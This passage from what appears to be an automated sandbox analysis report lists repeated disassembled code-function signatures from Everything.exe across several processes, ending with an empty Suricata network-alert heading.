Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [r9]	6_2_00007FF63D4D3850
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rdi+000000A8h]	6_2_00007FF63D4D3850
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rcx, qword ptr [r8]	6_2_00007FF63D4D3850
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then lea rcx, qword ptr [rsp+000002A0h]	6_2_00007FF63D542840
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then cmp rcx, 0000000000000100h	6_2_00007FF63D48B860
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov qword ptr [rcx], rbx	6_2_00007FF63D48B860
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rax]	6_2_00007FF63D48B860
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov qword ptr [rcx], rdi	6_2_00007FF63D48B860
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then movzx eax, byte ptr [r9+rdx]	6_2_00007FF63D53F850
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then add rcx, 01h	6_2_00007FF63D5E6920
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then movzx eax, byte ptr [rsp+r8+000001D0h]	6_2_00007FF63D4C7920
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rcx, qword ptr [rdi+20h]	6_2_00007FF63D478790
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then test r10d, r10d	6_2_00007FF63D47DF80
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rsi, qword ptr [r15]	6_2_00007FF63D4ADF60
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then movzx eax, byte ptr [r8]	6_2_00007FF63D602F50
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+00000178h]	6_2_00007FF63D47E800
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+000001C8h]	6_2_00007FF63D47E800
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+00000218h]	6_2_00007FF63D47E800
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+00000268h]	6_2_00007FF63D47E800
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+00000150h]	6_2_00007FF63D47E800
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+000001A0h]	6_2_00007FF63D47E800
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+000001F0h]	6_2_00007FF63D47E800
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+00000240h]	6_2_00007FF63D47E800
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+00000290h]	6_2_00007FF63D47E800
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+000002B8h]	6_2_00007FF63D47E800
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov r9, qword ptr [r11+08h]	6_2_00007FF63D478830
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then movzx eax, byte ptr [r9]	6_2_00007FF63D5E57E0
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then test al, al	6_2_00007FF63D4B57E0
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then test al, al	6_2_00007FF63D4B57E0
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rcx, rax	6_2_00007FF63D48C7E0
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rdx, qword ptr [rbx]	6_2_00007FF63D4DDA90
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then add rbx, 01h	6_2_00007FF63D5FC290
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then movzx eax, byte ptr [rcx]	6_2_00007FF63D5FC290
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then test cl, cl	6_2_00007FF63D480260
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [r15+08h]	6_2_00007FF63D5202E0
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [r15+30h]	6_2_00007FF63D5202E0
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov qword ptr [rcx], rdi	6_2_00007FF63D48C2F0
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov ecx, r9d	6_2_00007FF63D5EE990
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then test r14d, r14d	6_2_00007FF63D5EE990
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [r8]	6_2_00007FF63D482940
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [r13+00000088h]	6_2_00007FF63D482940
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov word ptr [r9+04h], r12w	6_2_00007FF63D5EF940
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov eax, edx	6_2_00007FF63D5EF940
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then movzx eax, byte ptr [rcx+rdi]	6_2_00007FF63D5EF940
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rax]	6_2_00007FF63D472A10
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+000002B8h]	6_2_00007FF63D499A30
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then add rax, 01h	6_2_00007FF63D4B7220
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then lea ecx, dword ptr [rdx+r9]	6_2_00007FF63D5F11C0
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov dword ptr [rax+18h], 00000001h	6_2_00007FF63D485C80
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov r8, rdi	6_2_00007FF63D485C80
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov eax, r8d	6_2_00007FF63D496CA0
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov r8d, dword ptr [rsp+30h]	6_2_00007FF63D497C50
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then test al, al	6_2_00007FF63D479C50
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov eax, r11d	6_2_00007FF63D5DCC70
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov ebx, ebp	6_2_00007FF63D475440
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rcx, qword ptr [rdi+30h]	6_2_00007FF63D4B9470
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [r14]	6_2_00007FF63D472C70
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rdx]	6_2_00007FF63D471460
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rdx, qword ptr [rbp+00h]	6_2_00007FF63D47CCC0
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then movsxd r8, qword ptr [r10+74h]	6_2_00007FF63D5F1BB0
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rdi]	6_2_00007FF63D4DE380
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov rcx, qword ptr [rax+00000408h]	6_2_00007FF63D480B80
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then add rbx, 01h	6_2_00007FF63D55A380
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then xor edx, edx	6_2_00007FF63D553350
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 4x nop then mov eax, r9d	6_2_00007FF63D471C20
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rdx, qword ptr [rbp+00h]	7_2_00007FF728BBCCC0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rcx, qword ptr [rdx+r8]	7_2_00007FF728C7B440
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then add rcx, 01h	7_2_00007FF728BBB7B0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rax]	7_2_00007FF728BB2A10
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then lea ecx, dword ptr [rdx+r9]	7_2_00007FF728D311C0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov ecx, r9d	7_2_00007FF728D2E990
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then test r14d, r14d	7_2_00007FF728D2E990
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then movzx eax, byte ptr [rsp+r8+000001D0h]	7_2_00007FF728C07920
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov word ptr [r9+04h], r12w	7_2_00007FF728D2F940
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov eax, edx	7_2_00007FF728D2F940
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then movzx eax, byte ptr [rcx+rdi]	7_2_00007FF728D2F940
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [r8]	7_2_00007FF728BC2940
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [r13+00000088h]	7_2_00007FF728BC2940
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then add rcx, 01h	7_2_00007FF728D26920
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov qword ptr [rcx], rdi	7_2_00007FF728BCC2F0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [r15+08h]	7_2_00007FF728C602E0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [r15+30h]	7_2_00007FF728C602E0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then test cl, cl	7_2_00007FF728BC0260
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then add rbx, 01h	7_2_00007FF728D3C290
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then movzx eax, byte ptr [rcx]	7_2_00007FF728D3C290
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rdx, qword ptr [rbx]	7_2_00007FF728C1DA90
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then add rax, 01h	7_2_00007FF728BF7220
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+000002B8h]	7_2_00007FF728BD9A30
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then movsxd r8, qword ptr [r10+74h]	7_2_00007FF728D31BB0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rcx, qword ptr [rax+00000408h]	7_2_00007FF728BC0B80
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then add rbx, 01h	7_2_00007FF728C9A380
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rdi]	7_2_00007FF728C1E380
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then xor edx, edx	7_2_00007FF728C93350
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov eax, r8d	7_2_00007FF728BD6CA0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rdx]	7_2_00007FF728BB1460
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [r14]	7_2_00007FF728BB2C70
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rcx, qword ptr [rdi+30h]	7_2_00007FF728BF9470
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov dword ptr [rax+18h], 00000001h	7_2_00007FF728BC5C80
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov r8, rdi	7_2_00007FF728BC5C80
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov eax, r11d	7_2_00007FF728D1CC70
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov eax, r9d	7_2_00007FF728BB1C20
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov ebx, ebp	7_2_00007FF728BB5440
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then test al, al	7_2_00007FF728BB9C50
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov r8d, dword ptr [rsp+30h]	7_2_00007FF728BD7C50
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov r8d, 00000001h	7_2_00007FF728BFDDA0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rdx, qword ptr [rbx]	7_2_00007FF728C0E550
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rcx+10h]	7_2_00007FF728BD9EB0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then test al, al	7_2_00007FF728BF56C0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then test al, al	7_2_00007FF728BF56C0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then movsxd rdx, qword ptr [rbx+74h]	7_2_00007FF728D34E40
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then test al, al	7_2_00007FF728C95E20
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rcx, rax	7_2_00007FF728BCC7E0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then test al, al	7_2_00007FF728BF57E0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then test al, al	7_2_00007FF728BF57E0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+00000178h]	7_2_00007FF728BBE800
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+000001C8h]	7_2_00007FF728BBE800
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+00000218h]	7_2_00007FF728BBE800
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+00000268h]	7_2_00007FF728BBE800
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+00000150h]	7_2_00007FF728BBE800
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+000001A0h]	7_2_00007FF728BBE800
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+000001F0h]	7_2_00007FF728BBE800
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+00000240h]	7_2_00007FF728BBE800
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+00000290h]	7_2_00007FF728BBE800
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+000002B8h]	7_2_00007FF728BBE800
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then movzx eax, byte ptr [r9]	7_2_00007FF728D257E0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rsi, qword ptr [r15]	7_2_00007FF728BEDF60
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then test r10d, r10d	7_2_00007FF728BBDF80
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rcx, qword ptr [rdi+20h]	7_2_00007FF728BB8790
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rbx]	7_2_00007FF728C1DF30
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then movzx eax, byte ptr [r8]	7_2_00007FF728D42F50
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then movzx r8d, word ptr [r9]	7_2_00007FF728D26720
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rdx, qword ptr [r10]	7_2_00007FF728C618A0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [r8]	7_2_00007FF728C618A0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then cmp rcx, 0000000000000100h	7_2_00007FF728BCB860
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov qword ptr [rcx], rbx	7_2_00007FF728BCB860
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rax]	7_2_00007FF728BCB860
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov qword ptr [rcx], rdi	7_2_00007FF728BCB860
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov r9, qword ptr [r11+08h]	7_2_00007FF728BB8830
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [r9]	7_2_00007FF728C13850
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rdi+000000A8h]	7_2_00007FF728C13850
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rcx, qword ptr [r8]	7_2_00007FF728C13850
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then movzx eax, byte ptr [r9+rdx]	7_2_00007FF728C7F850
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then lea rcx, qword ptr [rsp+000002A0h]	7_2_00007FF728C82840
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rdx, qword ptr [rbp+00h]	10_2_00007FF728BBCCC0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rcx, qword ptr [rdx+r8]	10_2_00007FF728C7B440
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then add rcx, 01h	10_2_00007FF728BBB7B0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rax]	10_2_00007FF728BB2A10
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then lea ecx, dword ptr [rdx+r9]	10_2_00007FF728D311C0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov ecx, r9d	10_2_00007FF728D2E990
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then test r14d, r14d	10_2_00007FF728D2E990
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then movzx eax, byte ptr [rsp+r8+000001D0h]	10_2_00007FF728C07920
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov word ptr [r9+04h], r12w	10_2_00007FF728D2F940
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov eax, edx	10_2_00007FF728D2F940
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then movzx eax, byte ptr [rcx+rdi]	10_2_00007FF728D2F940
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [r8]	10_2_00007FF728BC2940
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [r13+00000088h]	10_2_00007FF728BC2940
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then add rcx, 01h	10_2_00007FF728D26920
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov qword ptr [rcx], rdi	10_2_00007FF728BCC2F0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [r15+08h]	10_2_00007FF728C602E0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [r15+30h]	10_2_00007FF728C602E0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then test cl, cl	10_2_00007FF728BC0260
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then add rbx, 01h	10_2_00007FF728D3C290
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then movzx eax, byte ptr [rcx]	10_2_00007FF728D3C290
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rdx, qword ptr [rbx]	10_2_00007FF728C1DA90
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then add rax, 01h	10_2_00007FF728BF7220
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+000002B8h]	10_2_00007FF728BD9A30
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then movsxd r8, qword ptr [r10+74h]	10_2_00007FF728D31BB0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rcx, qword ptr [rax+00000408h]	10_2_00007FF728BC0B80
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then add rbx, 01h	10_2_00007FF728C9A380
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rdi]	10_2_00007FF728C1E380
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then xor edx, edx	10_2_00007FF728C93350
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov eax, r8d	10_2_00007FF728BD6CA0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rdx]	10_2_00007FF728BB1460
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [r14]	10_2_00007FF728BB2C70
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rcx, qword ptr [rdi+30h]	10_2_00007FF728BF9470
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov dword ptr [rax+18h], 00000001h	10_2_00007FF728BC5C80
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov r8, rdi	10_2_00007FF728BC5C80
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov eax, r11d	10_2_00007FF728D1CC70
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov eax, r9d	10_2_00007FF728BB1C20
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov ebx, ebp	10_2_00007FF728BB5440
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then test al, al	10_2_00007FF728BB9C50
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov r8d, dword ptr [rsp+30h]	10_2_00007FF728BD7C50
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov r8d, 00000001h	10_2_00007FF728BFDDA0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rdx, qword ptr [rbx]	10_2_00007FF728C0E550
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rcx+10h]	10_2_00007FF728BD9EB0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then test al, al	10_2_00007FF728BF56C0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then test al, al	10_2_00007FF728BF56C0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then movsxd rdx, qword ptr [rbx+74h]	10_2_00007FF728D34E40
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then test al, al	10_2_00007FF728C95E20
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rcx, rax	10_2_00007FF728BCC7E0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then test al, al	10_2_00007FF728BF57E0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then test al, al	10_2_00007FF728BF57E0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+00000178h]	10_2_00007FF728BBE800
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+000001C8h]	10_2_00007FF728BBE800
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+00000218h]	10_2_00007FF728BBE800
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+00000268h]	10_2_00007FF728BBE800
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+00000150h]	10_2_00007FF728BBE800
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+000001A0h]	10_2_00007FF728BBE800
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+000001F0h]	10_2_00007FF728BBE800
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+00000240h]	10_2_00007FF728BBE800
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+00000290h]	10_2_00007FF728BBE800
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rsi+000002B8h]	10_2_00007FF728BBE800
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then movzx eax, byte ptr [r9]	10_2_00007FF728D257E0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rsi, qword ptr [r15]	10_2_00007FF728BEDF60
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then test r10d, r10d	10_2_00007FF728BBDF80
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rcx, qword ptr [rdi+20h]	10_2_00007FF728BB8790
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rbx]	10_2_00007FF728C1DF30
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then movzx eax, byte ptr [r8]	10_2_00007FF728D42F50
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then movzx r8d, word ptr [r9]	10_2_00007FF728D26720
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rdx, qword ptr [r10]	10_2_00007FF728C618A0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [r8]	10_2_00007FF728C618A0
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then cmp rcx, 0000000000000100h	10_2_00007FF728BCB860
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov qword ptr [rcx], rbx	10_2_00007FF728BCB860
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rax]	10_2_00007FF728BCB860
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov qword ptr [rcx], rdi	10_2_00007FF728BCB860
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov r9, qword ptr [r11+08h]	10_2_00007FF728BB8830
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [r9]	10_2_00007FF728C13850
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rax, qword ptr [rdi+000000A8h]	10_2_00007FF728C13850
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then mov rcx, qword ptr [r8]	10_2_00007FF728C13850
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then movzx eax, byte ptr [r9+rdx]	10_2_00007FF728C7F850
Source: C:\Program Files\Everything\Everything.exe	Code function: 4x nop then lea rcx, qword ptr [rsp+000002A0h]	10_2_00007FF728C82840

Networking

Suricata IDS alerts for network traffic

